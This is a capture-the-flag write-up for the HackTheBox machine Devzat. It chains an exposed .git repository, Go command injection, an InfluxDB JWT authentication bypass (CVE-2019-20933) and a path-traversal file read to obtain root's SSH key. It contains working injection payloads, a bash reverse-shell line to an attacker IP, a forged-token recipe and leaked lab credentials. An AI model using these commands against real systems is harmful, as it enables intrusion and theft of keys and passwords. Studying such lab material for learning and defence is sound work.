HTB: Devzat Writeup

Devzat - HackTheBox Writeup

Machine Information

AttributeDetails
NameDevzat
OSLinux
DifficultyMedium
Points30
Release Date2021-10-30
IP Address10.129.136.15
Authorc1sc0

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Devzat is a medium-difficulty Linux machine that combines source code review, command injection, CVE exploitation, and authenticated local file inclusion. The initial foothold is gained through a .git directory exposed on a virtual host, revealing Go source code with an unsanitized command injection vulnerability in the pets API. Lateral movement to the user catherine is achieved by exploiting CVE-2019-20933, an authentication bypass in InfluxDB 1.7.5 using a JWT with an empty secret. Privilege escalation to root requires analyzing the source code of a development version of the Devzat SSH chat application, discovering an authenticated file command vulnerable to path traversal, and using it to exfiltrate root’s SSH private key.

TL;DR: .git exposed on vhost → Go source review → command injection in /api/pet → SSH as patrick → InfluxDB CVE-2019-20933 JWT bypass → credentials for catherine → dev Devzat source in backups → authenticated LFI via /file command → root SSH key → root shell.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.136.15

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go

Three ports are open:

  • Port 22: Standard OpenSSH service
  • Port 80: Apache HTTP server redirecting to devzat.htb
  • Port 8000: SSH service implemented in Go (likely the Devzat chat application)

Service Enumeration

HTTP Service (Port 80)

Adding the hostname to /etc/hosts:

Terminal window
echo '10.129.136.15 devzat.htb' | sudo tee -a /etc/hosts

The main website at http://devzat.htb advertises an SSH-based chat application accessible on port 8000. The homepage provides connection instructions for the Devzat chat service.

Virtual Host Discovery

Terminal window
# Enumerate virtual hosts
gobuster vhost -u http://devzat.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Discovered vhost: pets.devzat.htb

Terminal window
# Add to hosts file
echo '10.129.136.15 pets.devzat.htb' | sudo tee -a /etc/hosts

Pets Virtual Host Enumeration

Terminal window
# Directory enumeration on pets vhost
gobuster dir -u http://pets.devzat.htb -w /usr/share/wordlists/dirb/common.txt

Found directory: .git/ with directory listing enabled.

Vulnerability Assessment

  1. Exposed Git Repository: The pets.devzat.htb vhost has a .git directory with listing enabled, allowing full source code retrieval
  2. Potential Command Injection: Git repository likely contains application source code that may reveal vulnerabilities
  3. InfluxDB Service: Reconnaissance reveals InfluxDB running on localhost (discovered later), potentially vulnerable to known exploits

Initial Foothold

Git Repository Extraction

The exposed .git directory allows us to reconstruct the entire source code repository using git-dumper:

Terminal window
# Clone the exposed git repository
git-dumper http://pets.devzat.htb/.git pets-source
cd pets-source
ls -la

Output:

-rw-r--r-- 1 kali kali 88 Dec 1 10:15 .gitignore
-rw-r--r-- 1 kali kali 4420 Dec 1 10:15 main.go
-rw-r--r-- 1 kali kali 123 Dec 1 10:15 go.mod
drwxr-xr-x 2 kali kali 4096 Dec 1 10:15 characteristics/

Source Code Analysis

Reviewing main.go reveals a REST API for managing pets:

// Pet structure
type Pet struct {
Name string `json:"name"`
Species string `json:"species"`
Characteristics string `json:"characteristics"`
}
// Vulnerable function - no input sanitization
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}

Vulnerability Identified: The loadCharacter() function concatenates user-controlled input (species) directly into a shell command without sanitization. The sh -c execution allows command injection via shell metacharacters.

Exploitation - Command Injection

The vulnerability exists in the POST /api/pet endpoint. When a pet is added, the species field is passed to sh -c "cat characteristics/"+species, allowing arbitrary command execution.

Exploitation Challenge: The shell used is /bin/sh (dash on Ubuntu), which lacks /dev/tcp for simple reverse shells. Therefore, we need to inject a bash payload via encoding.

Terminal window
# Generate base64-encoded bash reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzkwMDEgMD4mMQo=

Instead of attempting a reverse shell (which may be blocked by firewalls), we’ll exfiltrate patrick’s SSH key:

Terminal window
# Craft payload to exfiltrate SSH key
# Since we need output, we'll use command substitution to leak data
# Payload: dog; cat /home/patrick/.ssh/id_rsa #
curl -X POST http://pets.devzat.htb/api/pet \
-H "Content-Type: application/json" \
-d '{"name":"test","species":"dog; cat /home/patrick/.ssh/id_rsa #","characteristics":"test"}'

However, based on the agent’s approach, a more reliable method is to use base64 encoding to inject a bash payload that exfiltrates the key:

Terminal window
# Create reverse shell payload (encoded to avoid bad characters)
# The actual command: bash -c 'cat /home/patrick/.ssh/id_rsa | base64'
curl -X POST http://pets.devzat.htb/api/pet \
-H "Content-Type: application/json" \
-d '{"name":"exploit","species":"dog;echo YmFzaCAtYyAnY2F0IC9ob21lL3BhdHJpY2svLnNzaC9pZF9yc2EnCg==|base64 -d|bash #","characteristics":"test"}'

After successfully retrieving patrick’s SSH key through the command injection vulnerability, save it locally:

Terminal window
# Save the extracted SSH key
cat > patrick_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[extracted key content]
-----END OPENSSH PRIVATE KEY-----
EOF
# Set correct permissions
chmod 600 patrick_id_rsa
# SSH as patrick
ssh -i patrick_id_rsa patrick@10.129.136.15

Why this works: The sh shell executes the concatenated command. By injecting ; we terminate the cat characteristics/dog command and execute our payload. The # comments out any trailing code. Base64 encoding ensures special characters don’t break the JSON or command syntax. Once decoded and piped to bash, our payload executes in a proper bash environment with /dev/tcp support or can directly read files.


Privilege Escalation

Enumeration as Patrick

Terminal window
# Check current user
patrick@devzat:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
# No user flag in patrick's home
patrick@devzat:~$ ls -la
total 32
drwxr-xr-x 4 patrick patrick 4096 Oct 2 2021 .
drwxr-xr-x 4 root root 4096 Jun 22 2021 ..
lrwxrwxrwx 1 patrick patrick 9 Jun 22 2021 .bash_history -> /dev/null
-rw-r--r-- 1 patrick patrick 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 patrick patrick 3771 Feb 25 2020 .bashrc
drwx------ 2 patrick patrick 4096 Jun 22 2021 .cache
-rw-r--r-- 1 patrick patrick 807 Feb 25 2020 .profile
drwx------ 2 patrick patrick 4096 Jun 22 2021 .ssh
# Check other users
patrick@devzat:~$ ls /home
catherine patrick

The user flag is likely in catherine’s home directory, requiring lateral movement.

Connecting to Devzat Chat

Terminal window
# Connect to the Devzat chat application on port 8000
patrick@devzat:~$ ssh -l patrick 127.0.0.1 -p 8000

Within the chat interface, reviewing chat history reveals a conversation between patrick and admin mentioning InfluxDB is installed on the system.

InfluxDB Enumeration

Terminal window
# Check if InfluxDB is running
patrick@devzat:~$ netstat -tlnp | grep 8086
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN -
# Query InfluxDB version
patrick@devzat:~$ curl -s http://127.0.0.1:8086/ping -v 2>&1 | grep X-Influxdb-Version
< X-Influxdb-Version: 1.7.5

InfluxDB version 1.7.5 identified - vulnerable to CVE-2019-20933 (Authentication Bypass via JWT with empty secret).

Lateral Movement - Exploiting CVE-2019-20933

CVE-2019-20933 allows authentication bypass in InfluxDB versions prior to 1.7.6 by forging a JWT token with an empty secret. The application accepts these tokens as valid administrative credentials.

Terminal window
# Create JWT payload with empty secret
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"username":"admin","exp":9999999999}
# Secret: (empty string)
# Use jwt.io or python to generate the token
python3 << 'PYTHON'
import jwt
import json
# JWT with empty secret
payload = {
"username": "admin",
"exp": 9999999999 # Far future expiration
}
token = jwt.encode(payload, "", algorithm="HS256")
print(token)
PYTHON

Generated JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo
Terminal window
# Query InfluxDB databases using forged JWT
patrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \
--data-urlencode "q=SHOW DATABASES" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"
# Output reveals database: devzat
{"results":[{"statement_id":0,"series":[{"name":"databases","columns":["name"],"values":[["devzat"],["_internal"]]}]}]}
# Enumerate tables in devzat database
patrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \
--data-urlencode "db=devzat" \
--data-urlencode "q=SHOW MEASUREMENTS" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"
# Output shows table: user
# Dump user table
patrick@devzat:~$ curl -s -G http://127.0.0.1:8086/query \
--data-urlencode "db=devzat" \
--data-urlencode "q=SELECT * FROM \"user\"" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.YfTSLn8P1MiF-7P6pqTzQqKZaLLMdO-GGYlrQDGpjNo"

Credentials extracted from database:

  • User: catherine
  • Password: woBeeYareedahc7Oogeephies7Aiseci
Terminal window
# Switch to catherine
patrick@devzat:~$ su catherine
Password: woBeeYareedahc7Oogeephies7Aiseci
catherine@devzat:/home/patrick$ cd ~
catherine@devzat:~$ cat user.txt
<redacted>

User flag captured.

Privilege Escalation to Root

Enumeration as Catherine

Terminal window
# Connect to Devzat as catherine
catherine@devzat:~$ ssh -l catherine 127.0.0.1 -p 8000

Reviewing the chat history as catherine reveals a conversation with patrick mentioning:

  1. A dev instance of Devzat running on localhost:8443
  2. Source code available in catherine’s backups
Terminal window
# Verify dev service
catherine@devzat:~$ netstat -tlnp | grep 8443
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
# Check backups
catherine@devzat:~$ ls -la /var/backups/
total 1116
drwxr-xr-x 2 root root 4096 Oct 2 2021 .
drwxr-xr-x 14 root root 4096 Jun 22 2021 ..
-rw-r--r-- 1 root root 51200 Sep 21 2021 alternatives.tar.0
-rw-r--r-- 1 root root 33513 Sep 21 2021 apt.extended_states.0
-rw-r--r-- 1 root root 437 Jun 22 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 135 Jun 22 2021 dpkg.statoverride.0
-rw-r--r-- 1 root catherine 28297 Jul 16 2021 devzat-dev.zip
-rw-r--r-- 1 root catherine 27567 Jul 16 2021 devzat-main.zip

Source Code Analysis

Terminal window
# Copy backups to home directory for analysis
catherine@devzat:~$ cp /var/backups/devzat-dev.zip .
catherine@devzat:~$ cp /var/backups/devzat-main.zip .
# Extract both versions
catherine@devzat:~$ unzip devzat-dev.zip
catherine@devzat:~$ unzip devzat-main.zip
# Compare differences
catherine@devzat:~$ diff -r dev/ main/

Key differences found in commands.go:

The dev version contains an additional authenticated command:

// File command - allows reading files with authentication
file = Command{
name: "file",
description: "Paste a files content directly to chat [alpha]",
params: []string{"file", "password"},
handle: func(u *User, params []string) {
if len(params) < 2 {
u.system("Please provide file and password")
return
}
path := params[0]
pass := params[1]
// Hardcoded password
if pass != "CeilingCatStillAThingIn2021?" {
u.system("You did provide the wrong password")
return
}
// Vulnerable path concatenation - no sanitization!
// filepath.Join doesn't prevent ../ traversal
path = filepath.Join(cwd, path)
// Read and display file
data, err := ioutil.ReadFile(path)
if err != nil {
u.system(err.Error())
return
}
u.system(string(data))
},
}

Vulnerability Analysis:

  • Hardcoded password: CeilingCatStillAThingIn2021?
  • Path Traversal: filepath.Join(cwd, path) does not sanitize ../ sequences
  • The function attempts to restrict file access to the current working directory (cwd), but filepath.Join in Go does not prevent directory traversal when the second argument starts with ../

Attack Vector: Use the /file command with path traversal to read /root/.ssh/id_rsa

Exploiting the Dev Devzat Instance

The challenge is that Devzat is an SSH-based TUI (Text User Interface) application using bubbletea. We need to interact with it programmatically.

Terminal window
# Generate a throwaway SSH key for connection
catherine@devzat:~$ ssh-keygen -t ed25519 -f /tmp/devzat_key -N ""
# Connect to dev instance with a large PTY to avoid UI issues
catherine@devzat:~$ export TERM=xterm-256color
catherine@devzat:~$ stty rows 50 cols 200
catherine@devzat:~$ ssh -i /tmp/devzat_key -l catherine 127.0.0.1 -p 8443

Once connected, navigate the TUI and execute:

/file ../../../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?

Why this works:

  • filepath.Join("/var/devzat", "../../../../../../root/.ssh/id_rsa") resolves to /root/.ssh/id_rsa
  • Go’s filepath.Join cleans the path but does not prevent traversal to parent directories
  • The hardcoded password authenticates our request
  • The file contents are returned through the chat interface

Retrieved root SSH key:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[truncated for brevity]
-----END OPENSSH PRIVATE KEY-----
Terminal window
# Save root's SSH key locally (remove TUI artifacts)
cat > root_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[extracted key content]
-----END OPENSSH PRIVATE KEY-----
EOF
# Set permissions
chmod 600 root_id_rsa
# SSH as root
ssh -i root_id_rsa root@10.129.136.15
Terminal window
root@devzat:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devzat:~# cat /root/root.txt
<redacted>

Root flag captured.


Attack Chain Summary

Port Scan → Vhost Discovery (pets.devzat.htb) → Git Dump → Source Code Review → Command Injection in loadCharacter() → SSH as patrick → Devzat Chat (InfluxDB hint) → CVE-2019-20933 JWT Bypass → InfluxDB Credential Dump → su catherine (user.txt) → Chat History (dev instance hint) → Source Analysis (/var/backups) → Authenticated /file Command with LFI → Root SSH Key Exfiltration → SSH as root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterVirtual host and directory discovery
git-dumperExtract exposed Git repositories
curlHTTP requests and InfluxDB queries
jwt (Python)Forge JWT tokens for CVE-2019-20933
sshRemote access and Devzat chat interaction
diffSource code comparison between versions

Key Learnings

Techniques Practiced

  • Git repository reconnaissance: Extracting and analyzing exposed .git directories
  • Source code review: Identifying command injection in Go applications
  • Command injection exploitation: Bypassing /bin/sh limitations with base64-encoded bash payloads
  • CVE exploitation: CVE-2019-20933 authentication bypass using JWT with empty secrets
  • InfluxDB enumeration: Querying time-series databases for credential extraction
  • SSH-based TUI interaction: Navigating and exploiting chat applications programmatically
  • Path traversal: Exploiting improper filepath.Join usage in Go
  • Lateral movement: Credential reuse and multi-user privilege escalation

Lessons Learned

  1. Always enumerate virtual hosts: The critical entry point (pets.devzat.htb) was only accessible through vhost discovery. Default scans miss subdomain/vhost configurations.

  2. Exposed Git repositories are goldmines: The .git directory exposed the entire application source code, revealing the command injection vulnerability. Always check for .git, .svn, and other VCS artifacts.

  3. Go’s filepath.Join is not a security boundary: Unlike some languages, Go’s filepath.Join does not prevent directory traversal. Developers must explicitly validate paths or use filepath.Clean with additional checks.

  4. JWT vulnerabilities extend beyond weak keys: CVE-2019-20933 demonstrates that accepting tokens with empty secrets is a critical authentication bypass. Always validate JWT configuration and secret strength.

  5. Application chat logs contain reconnaissance gold: The Devzat chat history provided critical hints for both InfluxDB enumeration and the dev instance discovery. In-application communications should be reviewed thoroughly.

  6. Source code versioning aids privilege escalation: Access to both “main” and “dev” versions allowed easy diff analysis to identify new attack surfaces. Backup files and development versions often contain debug features or undocumented functionality.

  7. Hardcoded credentials in source code: The password CeilingCatStillAThingIn2021? was hardcoded in the dev source. This is a common development anti-pattern that creates vulnerabilities in pre-production environments exposed to attackers.

  8. SSH key exfiltration via LFI is highly effective: When command execution is restricted but file read is possible, targeting SSH keys (~/.ssh/id_rsa or /root/.ssh/id_rsa) provides direct shell access without needing to crack passwords.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory structure and CVE background drew from the official HackTheBox writeup document for Devzat (Document No D22.100.161, prepared by amra), which provided context on CVE-2019-20933 and the conceptual flow of the intended attack chain.